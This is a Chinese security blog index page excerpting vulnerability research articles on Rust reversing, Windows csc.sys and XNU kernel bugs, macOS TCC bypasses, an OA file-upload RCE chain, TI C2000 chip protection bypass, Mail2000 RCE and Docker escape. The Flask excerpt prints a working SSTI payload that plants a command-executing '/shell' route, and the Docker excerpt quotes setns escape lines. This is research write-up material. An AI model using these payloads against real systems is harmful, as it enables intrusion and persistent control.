Rust逆向入门:从反编译视角学习内存模型

一、前言 Rust反编译一直是比较困难的问题,Rust强调零成本抽象,在使用高级特性(如泛型、闭包、迭代器等)时为了不引入额外的运行时开销,编译器会生成高度优化且复杂的机器码,从而难以直接恢复高层的抽象结构,除此之外,Rust 的所有权系统及其借用检查器在编译过程中被彻底消解成运行时代码。这个过程生成了许多低级的内存管理代码,这些代码在反编译时难以重新构建成高层次的所有权和生命周期语义。尽管反编译 Rust 代码有诸多困难,但进行 Rust 反编译依然具备现实意义,例如分析闭源Rust代码,寻找潜在的安全漏洞。本文旨在学习Rust基本内存数据结构及其内存布局,并且通过反编译视角理解Rust编译器到底做了什么事。 值得注意的时,Rust目前没有确定内存模型,因此本文谈到的是Rustc编译器实现的Rust模型。 Rust 目前没有确定内存模型 Rust does not yet have a defined memory model. Various academics and industry professionals are working on various proposals, but for now, this is an under-defined place in the language. 二、反编译器准备 本文中的很多例子会使用到反编译工具,例如IDA或者ghidra。ghidra在11版本以后增加了对Rust支持,在使用ghidra进行反编译Rust工具时只需要选中Demangler Rust即可。 IDA则需要额外的IDARustDemangler插件,不管是ghidra的Demangler Rust功能亦或是IDARustDemangler插件,其功能都是将Rust二进制文件中经过编译器mangle过的符号进行demangle,得到原始符号,以下以IDA得视角对比了demangle之前与demangle之后得代码视图,可以看到可读性大大增加。 demangle之前: demangle之后: 三、函数调用__Rustcall 在x86_64平台UNIX系统下面,Rust遵循System V ABI,即传参会通过rdi、rsi、rdx、rcx、r8、r9等,返回值会通过rax,在某些情况下,compiler会进行返回值优化(Return Value Optimization,RVO),这时候函数调用约定就会发生变化,返回值不再是使用rax进行传递,而是使用rdi(函数的第一个参数)。以如下例子为例,我们查看ghidra编译器到底做了什么? fn add_str_ret_str(a:&str,b:&str)->String{ return a.to_string()+&b.to_string(); } 对于上述代码,因为在返回时新建了对象(没有新建对象不会触发RVO,此时依旧通过rax传递对象),会触发返回值优化,使得返回值通过第一个参数进行传递。 IDA视角下得Rustcall,IDA会将第一个参数命名为retstr,提醒用户这个字段是返回值。 在ghidra视角下rust调用使用__rustcall关键字标识,ghidra使用return_storage_ptr来标记返回值。 四、Rust内存布局 在Rust中基本类型、引用(存储的是变量的地址,大小为8字节)、数组(连续内存块)与传统的C、C++内存布局一样,因此本文不再赘述。本文主要探究Rust特有实现,例如动态数组、String、动态大小类型(Dynamic Sized Type,DST)。 4.1 动态数组与String Rust中的动态数组Vec以及String类型的底层实现与C++容器相同,其采用三个部分来表示,分别是: pointer:指向数据字节流buffer中存储的数据; length:buffer中字节流的字节长度; capacity:buffer的长度。 实际上看String的实现,会发现String的实现基于Vec,以下代码摘自Rust底层实现:...

2024年07月17日 · 3 分钟 · b4tm4n

Python Web 内存马多框架植入技术详解

一、前言 内存马作为一种常见的攻击与权限维持手段,往往多见于Java Web应用中,然而在Python Web场景下却并不多见这种攻击。 本文将针对Flask、Tornado与Django三个在日常开发中使用频率较高的框架,探寻在Python Web场景下的内存马种植方法,文中所有场景均为抽象出的理想场景,仅做可行性讨论。 二、Flask 2.1 老版本Flask内存马种植方法 在网上针对Flask内存马的探讨,均在SSTI场景下,并且payload都相同,格式化后payload如下: url_for.__globals__['__builtins__']['eval']( "app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() )", { '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app'] } ) 在Flask中所有定义的路由都会使用一个装饰器 app.route,而这个装饰器就是调用了 add_url_rule。 @setupmethod def route(self, rule: str, **options: t.Any) -> t.Callable[[T_route], T_route]: def decorator(f: T_route) -> T_route: endpoint = options.pop("endpoint", None) self.add_url_rule(rule, endpoint, f, **options) return f return decorator 所以在payload中,直接调用了Flask中的 add_url_rule 函数来动态增加一条路由实现内存马。然而在最新版本的Flask中,如果直接使用这个payload会发现将抛出一个异常。 2.2 AssertionError出现原因 在回溯这个异常的时候会发现,这个异常出现在 setupmethod 这个装饰器中的一个校验函数。 def _check_setup_finished(self, f_name: str) -> None: if self._got_first_request: raise AssertionError( f"The setup method '{f_name}' can no longer be called" " on the application....

2024年07月10日 · 5 分钟 · 4uuu

以 CVE-2024-26229 为例分析 Windows RDBSS 机制

一、前言 CVE-2024-26229是今年4月微软修补的一个任意地址写零漏洞,该漏洞位于csc.sys驱动中。攻击者在Windows上获得较低权限的任意代码执行后,可以利用该漏洞将低权限提升至system权限。目前Exp由varwara公布在了github上。 二、csc.sys简介 csc.sys(Windows Client Side Caching Driver)是脱机文件(offline files)功能的一部分。脱机文件功能是默认在本机存一份共享文件的副本,这样做的优点有两点,一方面可以节省网络流量,另一方面是断网条件下,仍然可以使用共享文件夹,等到有网之后再进行同步。默认副本文件存储在C:\Windows\CSC文件夹中,普通用户没有权限访问该文件夹的内容。 下面以SMB协议为例,演示如何开启脱机文件功能。 首先准备两台虚拟机,一台为SMB server,一台为SMB client。 在SMB Server首先新建一个文件夹,然后共享此文件夹,并设置此权限为完全控制。 在SMB client打开控制面板进入同步中心->管理脱机文件->启动脱机文件。 然后访问SMB server,点击始终脱机可用。 之后就会出现一个新的文件夹,即为本机副本。 此时关闭share文件夹分享,仍然能操作share文件夹。 三、漏洞成因分析 通过README可以看出该漏洞产生的原因是在csc.sys中没有校验用户态以METHOD_NEITHER方式和驱动进行通信时用户态传入的缓冲区地址是否是合法地址,从而导致任意地址读或者任意地址写。 下面介绍一下windows用户态与驱动的通信方式来解释为什么以METHOD_NEITHER与驱动进行通信时需要对用户态传入的地址进行合法校验。 在windows中用户态与驱动的通信方式共有三种: METHOD_BUFFERED METHOD_IN_DIRECT METHOD_OUT_DIRECT METHOD_NEITHER METHOD_BUFFERED方式对UserInputBuffer和UserOutputBuffer都进行缓冲,驱动程序无需对用户态传入的缓冲区地址进行校验。 METHOD_IN_DIRECT和METHOD_OUT_DIRECT只对UserInputBuffer进行缓冲,对于UserOutputBuffer采用的是将用户态地址锁定(即不让其换出内存),然后映射为内核地址。在驱动写入后,重新映射为用户态地址。 METHOD_NEITHER (也就是出现漏洞的这种通信方式) 驱动程序直接读写用户态的缓冲区,优点是读写更快,缺点是驱动程序在读写缓冲区之前需要使用ProbeForRead/ProbeForWrite函数去探测地址是否合法。就可能会出现漏洞,例如用户态的传入的UserInputBuffer和UserOutputBuffer均为内核态地址,驱动就会根据用户态传入地址读写,即可造成任意地址读写。 四、补丁分析 可以看到有两个函数有改动,既然本漏洞是关于I/O control的,那么优先看CscDevFcbXXXControlFile这个函数改动。 通过bindiff可以看到从00000001C006B243这个块开始有所不同,定位到对应的反编译的伪c代码进行比较。 在patch之后的代码加了一个if判断 如果if 判断条件为true,则首先在使用前判断v12是否小于0x24 如果小于0x24,则调用失败 如果大于等于0x24,则会判断(a1+40)+64的是否不为0,这里推测如果为1的话,应该表示该请求来自用户态 如果不为0,则会使用ProbeForWrite探测a1+536的地址是否合法 然后对a1+536的位置写入一个8字节的0 (这里可能就是未patch的漏洞点了) 如果if判断条件为false,则使用原来的漏洞代码 patch代码保留原来漏洞代码目的推测为微软可能认为新代码可能会影响正常的功能,一旦遇到问题可以只需要改一下某个标志位就可以回滚回原来的代码,等到新代码完全稳定后估计就会删除原来的漏洞代码。 五、漏洞触发流程分析 从目前的分析来看,这个漏洞模式比较简单,为什么之前没有被人扫描到或者分析出来,我认为有两点原因。 ida反编译显示错误,有的时候你看csc.sys驱动的DriverEntry函数,可能如下图所示: 如果你多次Undefine然后重新反编译DriverEntry,就会发现DriverEntry函数是很长的。 csc.sys是一个内核网络微型重定向器驱动程序(Kernel Network Mini-Redirector Driver)使用了重定向驱动器缓冲子系统 (Redirected Drive Buffering Subsystem) 使得处理DeviceIoControl调用栈过深,不易被发现。 由DriverEntry可以看到用户态所有请求都由CscFsdDispatch处理,跟进CscFsdDispatch函数可以发现大部分的请求都是由导入函数RxFsdDispatch处理 RxFsdDispatch是由rdbss.sys中实现,下面介绍以下csc.sys与rdbss.sys交互为例介绍rdbss机制。 5.1 rdbss机制分析 csc.sys与rdbss.sys的交互分为三个状态,并且是顺序的。 5.1.1 csc.sys在初始化时调用RxRegisterMinirdr()初始化PRDBSS_DEVICE_OBJECT的部分成员 RxRegisterMinirdr函数声明如下: NTSTATUS RxRegisterMinirdr( [out] OUT PRDBSS_DEVICE_OBJECT *DeviceObject, [in, out] IN OUT PDRIVER_OBJECT DriverObject, [in] IN PMINIRDR_DISPATCH MrdrDispatch, [in] IN ULONG Controls, [in] IN PUNICODE_STRING DeviceName, [in] IN ULONG DeviceExtensionSize, [in] IN DEVICE_TYPE DeviceType, [in] IN ULONG DeviceCharacteristics ); 这里主要关注MrdrDispatch这个参数,这个参数指向网络微型重定向驱动的调度表的指针。此调度表包括网络微型重定向驱动的配置信息和指向由网络微型重定向器内核驱动程序实现的回调例程的指针表。RDBSS 通过此回调例程列表调用网络微型重定向器驱动程序。...

2024年07月03日 · 5 分钟 · wanghaozhe

Apple 操作系统 - XNU 内核下 FlowDivert 网络协议漏洞分析

一、前言 Flow Divert 协议在 macOS 中提供了强大的流量管理和重定向功能,广泛应用于 VPN 和其他高级网络控制场景。通过内核扩展和用户态守护进程的协同工作,Flow Divert 允许系统和应用程序动态管理网络流量,增强安全性、隐私保护和网络性能。本文旨在分析FlowDivert模块内出现的历史的漏洞以及引入的新代码所引发的漏洞存在。 二、XNU中网络API函数的调用路径 首先此处拿connect函数来进行简单分析下调用路径,后续会有用到其中一些内容。 int connect(proc_ref_t p, struct connect_args *uap, int32_ref_t retval) { __pthread_testcancel(1); return connect_nocancel(p, (struct connect_nocancel_args *)uap, retval); } 当我们在用户态调用connect函数的时候,系统则会在库里面调用对应的系统调用并进入内核中在内核中,它对应函数的名字依旧是connect()作为函数名,其中三个参数分别是当前进程结构体的引用,以及此处的uap指针则是用户态传给内核态的相关参数,最后则是一个返回值的指针。 int connect_nocancel(proc_t p, struct connect_nocancel_args *uap, int32_ref_t retval) { #pragma unused(p, retval) socket_ref_t so; struct sockaddr_storage ss; sockaddr_ref_t sa = NULL; int error; int fd = uap->s; boolean_t dgram; AUDIT_ARG(fd, uap->s); error = file_socket(fd, &so); if (error != 0) { return error; } ....

2024年06月26日 · 7 分钟 · fmyy

阿里云WebShell伏魔挑战赛新思路挖掘

一、前言 去年的Webshell引擎检测绕过思路分享中,主要介绍了当下主流引擎对WebShell检测引擎的几种检测方法,再针对各个检测方法,逐一的利用Java语法的trick去进行绕过。重心放在了检测引擎的行为上,依赖对Java语法和trick的先验知识进行绕过。在今年的比赛中,去年文中列出的绕过方法基本上已经被引擎修复完成。结合今年比赛的经历,分享一下在已有的trick都被ban,如何从0研究出新的绕过思路,把重心转移到Webshell本身上,通过分析jsp的解析过程,挖掘绕过方法。 二、jsp解析逻辑 Tomcat处理jsp的核心的逻辑是它实现了一个处理jsp的Servlet:org.apache.jasper.servlet.JspServlet,这个Servlet处理所有以jsp为后缀的请求。 public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { ... try { boolean precompile = this.preCompile(request); this.serviceJspFile(request, response, jspUri, precompile); } catch (IOException | ServletException | RuntimeException var5) { Exception e = var5; throw e; } catch (Throwable var6) { Throwable e = var6; ExceptionUtils.handleThrowable(e); throw new ServletException(e); } } 当我们上传一个jsp文件后,在这个service处下断点,然后请求这个jsp,跟进代码,程序在org.apache.jasper.servlet.JspServletWrapper中调用如下代码进行编译 this.ctxt.compile(); 这是一个JspCompilationContext对象,它在JspServletWrapper的构造方法中被生成,其中jspuri是文件名,options保存了jsp文件的参数信息。 this.ctxt = new JspCompilationContext(jspUri, options, config.getServletContext(), this, rctxt); 整个从jsp到生成class的编译过程都是发生在JspCompilationContext的compile方法中 public void compile() throws JasperException, FileNotFoundException { this....

2024年06月19日 · 10 分钟 · yyhy

macOS 中四类 TCC BYPASS 绕过案例分析

一、前言 TCC 由 Apple 于 2012 年在 macOS Mountain Lion 上推出,其主要目的是帮助用户配置其应用的隐私设置,当用户引应用请求类型在 TCC 数据库中有记录,则会通过TCC数据库的校验来进行判断是否通过,如果没有则会向用户进行提示申请对应的访问权限。 同时macOS在对用户隐私保护的同时,TCC的保护是其中一个比较重要的点,更新了众多的缓解措施及预防手段。 二、结构 用户通常在 macOS 中的"系统偏好设置"下对其进行管理(系统偏好设置 > 隐私与安全性) 当应用试图执行对隐私访问的行为时,则会触发用户授权,当用户授权之后则会在打开对应的控制开关。 而当系统启动之后,在系统进程中则会出现两个进程,分别以root权限运行的和当前用户权限运行的同一可执行文件,即是用于管控隐私权限的TCC守护进程。 守护进程主要负责处理应用程序对系统资源的访问权限控制,而它会通过访问或者修改如下对象数据库文件来记录用户应用程序的相关隐私特权。 **用户特定数据库:**包含仅适用于特定用户配置文件的存储权限类型;它保存在~/Library/Application Support/com.apple.TCC/TCC.db下,拥有该配置文件的用户可以访问; 系统范围的数据库:包含适用于系统级别的存储权限类型;它保存在 /Library/Application Support/com.apple.TCC/TCC.db下。 macOS系统中通过codesign命令查看目标应用或者可执行文件的签名或者权限。 fmyy@Macbook_M1 UserFrameworks % codesign -dv --entitlements - /System/Library/PrivateFrameworks/TCC.framework/Support/tccd Executable=/System/Library/PrivateFrameworks/TCC.framework/Support/tccd Identifier=com.apple.tccd Format=Mach-O universal (x86_64 arm64e) CodeDirectory v=20400 size=6055 flags=0x0(none) hashes=179+7 location=embedded Platform identifier=15 Signature size=4442 Signed Time=Feb 10, 2024 at 20:26:27 Info.plist entries=13 TeamIdentifier=not set Sealed Resources=none Internal requirements count=1 size=64 ...... [Key] com....

2024年06月12日 · 4 分钟 · fmyy

某OA业务逻辑缺陷导致RCE的利用链解析

一、前言 随着网络安全攻防演练活动的推进,国内许多厂商产品的安全性越来越高,传统的漏洞挖掘思路已经不太容易能挖到漏洞了,许多时候需要分析代码的业务逻辑,将多个业务逻辑组合起来形成一个完整的漏洞利用。本篇文章将以抛砖引玉的方式,用笔者之前挖到的一个漏洞(已修复)为例,分享在漏洞挖掘方面的一些思路以及Trick。 该漏洞由三部分组成:特别的任意文件上传、身份认证绕过、RASP绕过及jsp访问拦截绕过。通过该漏洞可以在目标服务器达成远程代码执行的目的。 二、特别的任意文件上传 该漏洞就是由于系统中对上传文件格式以及跨目录做了严格的限制,直接找不到任意文件上传漏洞,但是通过两部分业务逻辑组合可以达成任意文件上传的目的。分为如下两个步骤: 2.1 上传文件并在数据库中记录 某认证后jersey类型的web接口会执行到如下代码,从this.params中获取两个值后调用loadFileForImage方法,此处的this.params中存储的是http请求包中的参数,所以用户完全可控。 loadFileForImage方法调用ImageConvertUtil#downloadUrl方法获取输入流后赋值给var8的data属性,var2赋值给ImagFileName属性,分别表示文件输入流和文件名,然后调用saveImageFile方法。 download方法根据用户提供的url直接获取输入流并返回,此处其实也存在一个ssrf漏洞。 saveImageFile方法关键代码主要有2部分逻辑,第一部分是调用ZipOutputStream.write方法将this.data(前边获取的文件输入流)写入zip文件。由于默认var6为 1,所以文件名是.zip结尾的,因此文件写入时文件名不可控。 第二部分逻辑是在zip文件写入完成后执行一段insert sql语句将这次文件写入操作记录在数据中。数据库中imageFileId字段表示当前操作的数字编号,imageFileName字段是前面设置的imagFileName属性用户可控,fileRealPath是zip文件绝对路径。 2.2 查数据库写文件 另一个认证后的jersey类型的web接口会调用到如下代码,该方法中new 一个ImageFileManager 对象var8,先调用getImageFileInfoById方法,再调用ImageFileManager#getInputStream获取其输入流后用FileOutputStream#write方法写入目标文件中,目标文件名是通过和var8.getImageFileName()拼接而成的。所以要是能控制var8的输入流和imageFileName属性就可以写入任意文件。而ImageFileManager 构造方法中所有并未给其属性赋值,所以赋值的过程一定在getImageFileInfoById方法中,方法参数var34是用户可控的。 getImageFileInfoById中根据imagefileid查数据库将值赋值给对应的属性,因为插入数据库的时候realname字段没写入值所以还是会获取imageFileName。 再看 getInputStream方法,获取fileRealPath路径的文件输入流并返回,关键代码如下: 2.3 小结 上传文件并在数据库中记录这一步骤可根据用户指定url获取输入流以zip形式保存在服务器上,并在数据库中保存文件相关信息包括用户指定的ImageFileName、zip文件的绝对路径等,最后返回imagefileid值。 查数据库写文件这一步骤根据用户输入的imagefileid值,将对应zip文件内容写入新文件中,新文件名是和ImageFileName值拼接而成。 以上两步结合就可以实现任意文件上传。 系统给所有jersey类型的web接口配置了filter去做身份认证,那么如何绕过身份认证呢?以下提供一种绕过的思路。 三、身份认证绕过 该身份认证绕过是利用invoker servlet的特性完成的。 3.1 invoker servlet简介及特性 invoker servlet是resin、tomcat等提供的功能,可以通过 URL 动态调用classpath中的任意servlet,甚至系统中没配置的servlet在都可以被调用。以下是resin官方文档中的描述。 invoker servlet一般是在resin如下xml配置文件配置 WEB-INF/resin-web.xml $RESIN_HOME/conf/app-default.xml $RESIN_HOME/conf/resin.xml ...... 以下是WEB-INF/resin-web.xml配置invoker servlet的例子 <web-app xmlns="http://caucho.com/ns/resin"> <!-- used with urls like http://localhost:8080/servlets/test.HelloServlet --> <servlet-mapping url-pattern="/servlet/*" servlet-name="invoker"/> </web-app> 以下是 $RESIN_HOME/conf/app-default.xml配置invoker servlet的例子 <cluster> <web-app-default> <servlet-mapping url-pattern="*.jsp" servlet-name="jsp"/> <servlet-mapping url-pattern="*.xtp" servlet-name="xtp"/> <servlet-mapping url-pattern="/servlet/*" servlet-name="invoker"/> <servlet-mapping url-pattern="/" servlet-name="file"/> </web-app-default> </cluster> tomcat7开始默认是不开启invoker servlet的。一般是在$TOMCAT_HOME/conf/web....

2024年06月05日 · 4 分钟 · mmuz

【GeekCon 2024】TI C2000 DSP Chip Hacking: 绕过德州仪器C2000芯片的CSM/DCSM安全保护机制

5月26日,奇安信天工实验室安全研究员赵海,出席国际知名极客大会GEEKCON 2024 Singapore,发表 《TI C2000 DSP Chip Hacking》 议题演讲,现场展示并成功破解了使用德州仪器TMS320F28375D芯片开发的"安全U盘",绕过CSM/DCSM保护机制读取其中存储的文件。 议题分享了德州仪器TMS320F28x芯片的CSM/DCSM安全保护机制突破,同时披露了TI C2000 DSP芯片下隐藏了20多年之久的CSM/DCSM锁密机制绕过漏洞。 一、芯片介绍 DSP芯片(Digital Signal Processing Chip)是一种专门用于数字信号处理的微处理器或微控制器。C2000™产品作为TI乃至业界最为悠久的MCU产品线之一,至今已有25年历史,从高铁到电动汽车、从数控机床到机械臂、从逆变器到服务器,哪里都有C2000的身影。TMS320F28x是C2000系列中最新的一批芯片,目前广泛使用。 二、CSM保护机制 代码安全模块(CSM)是C2000芯片内置的一种数据访问保护机制,开发者在芯片指定位置刷入CSM密码给芯片上锁,可以防止内部flash中的固件被UnSecureZone(JTAG调试器、BOOTROM等)读取。 TMS320F28x系列CSM密码为128位(8个16位字),分别是KEY0、KEY1、KEY2、KEY3到KEY7,映射到 FLASH 的地址中,这一地址位置是由 TI 设计的时候设计好的,使用者不能改变,如果加密位置都为 1,那么该芯片为非加密状态,可以访问用户存储区,如果加密位在全 0 的状态,该芯片就处于锁死状态,无法继续使用。 在芯片处于加密状态,无论是使用硬件的 JTAG 调试还是软件指令去读取加密区,得到的结果都是 0。如下使用JTAG调试器查看内存数据,此处看似是空数据,实际上这里是被CSM保护的内存区域,在不知道密码的情况下无法被读取。 使用CSM密码解锁后,可以正常读取到数据: CSM机制的流程如图所示,如果要访问SecureZone区,则需要使用CSM密码进行unlock,unlock的过程是在硬件中实现的,用户只需要对相关硬件寄存器传入密码即可自动进行。为了防止在运行时调试器附加提取数据,CSM机制规定了UnsecureZone无需解锁可以直接执行SecureZone中的代码,因此BOOTROM在启动固件时,也不需要知道密码。 三、DCSM保护机制 双代码安全模块(DCSM)存在于C2000系列中一些新推出的型号产品,该功能支持将芯片中的memory划为两个独立区域(SecureZone1、SecureZone2),并设置各自独立的的128位CSM密码进行保护。通过烧写DCSM相关寄存器,可以对内存区域进行划分保护,例如将Flash Sector A、Sector C、RAMLS01划分到SecureZone1,Flash Sector B、Sector D、RANLS02、RAMLS03划分到SecureZone2。带有DCSM机制的芯片还具有SecureROM,这是内置于芯片中的一段代码,提供了一些对DCSM保护区操作的API函数,例如SafeCrc函数可以在无需解锁CSM的情况下被UnSecureZone中的代码调用计算一个SecureZone中数据的CRC。 四、CSM/DCSM解锁 知道了CSM的加锁方式,对研究CSM解锁思路就有两条。第一,想办法得到128位密码,如果拥有了密码,那么就可以访问用户存储区;第二,在无法得到的情况下如何让芯片编程不加密状态呢?前面提到如果是全为1就为不加密状态,那么就想办法让该位置全变为 1,只要达到了这个状态,就破解掉了DSP的加密。市面上的芯片解密公司使用的是第二种方法:将芯片开盖,使用高精密仪器修改 OTP 存储区的电路,让加密位全部置 1 达到解密的状态。 这种解锁方式造价高且流程复杂容易毁坏芯片。我们研究发现CSM/DCSM在软件层面上存在漏洞,保护区的数据可以利用漏洞间接访问。 五、CSM/DCSM安全漏洞 前面在介绍CSM时提到可以在无需解锁的情况下去执行SecureZone中的代码,漏洞在于可以执行SecureZone中任意地址的代码即使该地址不是一个函数的开头位置。 SecureZone内部的代码是有权限直接访问这个SecureZone本身的数据的,因此可以调用内部的一些ROP Gadgets去间接读写这个SecureZone。如图所示,调用了MOVL ACC,*+XAR5[0]这样的一个内存加载的gadget,可以读取SecureZone中4字节数据到ACC寄存器中。而MOVL *+XAR4[0], ACC这样的数据存储的gadget则可以被用于写SecureZone。 由于事先不知道SecureZone的内容,那么如何获取gadget的地址是一个问题。将思路转变为CTF的盲打题,我们可以直接从一块未知内容区爆破出想要的ROP Gadget。如下图流程所示,我们使用BOOTROM的下载模式上传我们的代码到RAM执行,想要爆破出数据加载到寄存器的gadget,先在一个地址处存入数据,例如在0x100地址处存入一个Magic Value,接着设置寄存器XAR4、XAR5寄存器(这两个寄存器出现在内存读写的指令中比较频繁)为地址0x100,清空其他寄存器,然后从SecureZone开始的位置进行函数调用执行,如果执行错误没有成功返回,则说明当前地址不是我们需要的,下一轮对函数地址增1继续调用;如果函数调用成功返回,则检查哪一个寄存器中的值变成了Magic Value,如果有,说明我们成功找到一个能够从内存加载数据到寄存器的gadget,利用这个gadget可以把数据全部读取,然后反汇编后寻找内存写的gadget。 CSM/DCSM保护机制都可以使用这种方式来绕过读写保护,由于DCSM增加了SecureROM且SecureROM拥有对SecureZone的读写权限,我们也可以去调用SecureROM中的gadgets。SecureROM无法被JTAG提取但是可以在TI官方的C2000Wave SDK包中找到二进制文件,可以对其进行逆向提取需要的ROP gadgets,这样无需爆破,且适配多种产品而不依赖于flash中的代码变化。 六、EXEONLY保护绕过 如果对DCSM中的EXEONLY寄存器进行烧写,可以对指定内存进行只可执行保护,例如设置Flash Sector A、RAMLS01为EXEONLY,开了该保护,即使同一个SecureZone的代码也不能对EXEONLY保护区进行读写,因此上面的绕过方法就失效了。 翻阅德州仪器官方的文档,SecureROM提供了两个API可以对EXEONLY区进行读写,但是参数有很严格的限制,也不能被利用。 通过对SecureROM的逆向分析,我们发现内部的关键代码: _SafeCopyCodeZ1: ....

2024年05月29日 · 1 分钟 · ha1vk

Openfind Mail2000 认证前 RCE 漏洞分析

一、前言 Mail2000 是一套由台湾厂商 Openfind 所开发,简单易用的电子邮件系统,被广泛使用于台湾的公家机关、教育机构,如台北市教育局、中科院,以及台湾科技大学都有使用 Mail2000 作为主要的邮件服务器。本文以研究学习为目的对 Mail2000 的一个漏洞的成因和利用进行详细分析。 该漏洞是Mail2000的Web服务在处理多个文件的http数据包时未对全局结构体中的数组进行边界检查,导致越界写堆地址。针对原作者使用堆喷+爆破的利用手法,本文将介绍一种仅爆破地址即可利用的更加稳定的手法。 二、服务器架构 邮件系统的攻击面一般是邮件服务(imap、pop3、smtp)和Web服务。 Mail2000的Web服务器采用的是Apache httpd和CGI (Common Gateway Interface)的架构,实现如图: 当客户端向Web服务器(httpd)发送一个http请求时,httpd对数据包作简单的路由鉴权等处理,之后fork一个子进程。子进程中调用execve运行对应的CGI程序,CGI程序处理完请求后通过httpd发送响应给客户端。CGI程序会使用一些动态库,其中libm2k.so和libm2kc.so是由Openfind开发实现的两个核心库。本文分析的漏洞就存在libm2kc中。 三、漏洞成因 首先了解http发送多个文件的格式。在http格式中如果要发送多个文件首先需要Content-Type指定是multipart以及指定boundary,http正文中每两个boundary之间表示一个文件内容。文件内容是http头加上http正文的格式。 Content-Type: multipart/form-data; boundary="--AaBbCcDd" --AaBbCcDd Content-Disposition: form-data; name="files"; filename="file1.txt" Content-Type: text/plain aaaabbbbcccc --AaBbCcDd Content-Disposition: form-data; name="files"; filename="file2.txt" Content-Type: text/plain ddddeeeeffff --AaBbCcDd 在处理多个文件的请求时,libm2kc使用stCGIEnv结构体来存储相关文件信息。这里重点关注multipart_file_arr变量,该变量是MultipartFileVar结构体数组,个数固定为200。MultipartFileVar中的name和filaname对应文件内容中的Content-Disposition中的name和filename。 00000000 stCGIEnv struc ; (sizeof=0xD308, align=0x8, mappedto_126) 00000000 cgi_var_content dq ? 00000008 cgi_var_str_len_from_content_length_or_strlen dq ? 00000010 cgi_var_arr dq 6144 dup(?) 0000C010 multipart_file_arr MultipartFileVar 200 dup(?) 0000D2D0 file_arr dq ? 0000D2D8 file_max_count dd ?...

2024年05月22日 · 2 分钟 · noir

Docker 逃逸中被忽略的 pid namespace

一、背景 最近在研究基于内核漏洞进行Docker逃逸的原理,发现漏洞利用中都会使用如下三行代码,用于切换Docker中exp进程的三种namespace: setns(open("/proc/1/ns/mnt",O_RDONLY),0); setns(open("/proc/1/ns/pid",O_RDONLY),0); setns(open("/proc/1/ns/net",O_RDONLY),0); 然而实际测试中,发现exp进程的 pid namespace 并未切换成功,具体表现为: 通过 echo $$ 获得的进程号跟执行exp前没有变化 通过 kill -9 无法终止任何host进程 通过 ls -al /proc/<exp-host-pid>/ns 查看pid项的值也没有发生变化。 是什么原因导致只有 pid namespace 切换失败?以及如何完成 pid namespace 的逃逸呢?这篇文章中记录了我对这些问题的理解。 二、Docker逃逸历史漏洞及分类 目前公开的Docker逃逸漏洞可以分为三种类型:Docker配置的问题,Docker实现的问题,和Linux内核的问题。 Docker配置的问题:主要是由于用户使用Docker时不规范,指定了不安全的启动参数(–privileged),给了不必要的启动权限(SYS_MODULE、SYS_PTRACE、SYS_ADMIN),或者挂载了特殊文件(/var/run/docker.sock),基于此可以轻易实现Docker逃逸。 Docker实现的问题:Docker架构中各个组件中可能出现一些漏洞,如: runc中的漏洞:CVE-2019-5736、CVE-2024-21626等; Docker cp/Docker build的漏洞:CVE-2019-14271、CVE-2019-13139等; containerd的漏洞:CVE-2020-15257等。 Linux内核的问题:Docker跟host共享同一个系统内核,因此内核中的漏洞也可能被用于容器逃逸。收集了一些用于容器逃逸的漏洞(不一定能用于Docker逃逸,或者即使能用于Docker逃逸也需要满足一些前提条件),如下: 通过传统内核漏洞ROP完成逃逸的有:CVE-2017-7308、CVE-2017-1000112、CVE-2020-14386、CVE-2021-22555、CVE-2022-0185; 通过容器机制漏洞完成逃逸的有:CVE-2018-18955(namespace)、CVE-2022-0492(cgroups); 通过文件读写类漏洞完成逃逸的有:CVE-2016-5195(DirtyCow)、CVE-2022-0847(DirtyPipe)。 本文基于传统内核漏洞已实现控制流劫持的场景下(通过植入内核ko实现),研究Docker逃逸过程及利用方法,从而加深对Linux内核中容器安全相关机制的理解。 三、Docker依赖的内核安全机制 Docker的本质是一个linux用户态进程,它呈现出来的隔离状态依赖于linux内核这个底座提供的几种安全机制 —— capability,namespace,seccomp,apparmor/selinux,cgroups。 capability:将普通用户和特权用户进一步区分,实现更细粒度的访问控制; namespace:资源隔离,使同一namespace中的进程看到相同的系统资源,并且对其他namespace不可见。目前共有8种namespace; seccomp:禁止进程调用某些系统调用; apparmor/selinux:强制访问控制; cgroups:资源限制,限制进程对计算机资源的使用(如CPU、memory、disk I/O、network等)。 3.1 查看状态 如何查看当前环境中这些安全机制的状态呢? 在Docker中起一个bash,host上找到它对应的pid号(8089),然后我们可以在系统命令行中观察这些安全机制作用到每个进程的状态。 capability 查看进程具备哪些capability: ➜ ~ cat /proc/8089/status | grep Cap CapInh: 0000000000000000 CapPrm: 00000000a80425fb CapEff: 00000000a80425fb CapBnd: 00000000a80425fb CapAmb: 0000000000000000 # 通过capsh解析cap ➜ ~ capsh --decode=00000000a80425fb WARNING: libcap needs an update (cap=40 should have a name)....

2024年05月15日 · 11 分钟 · clingcling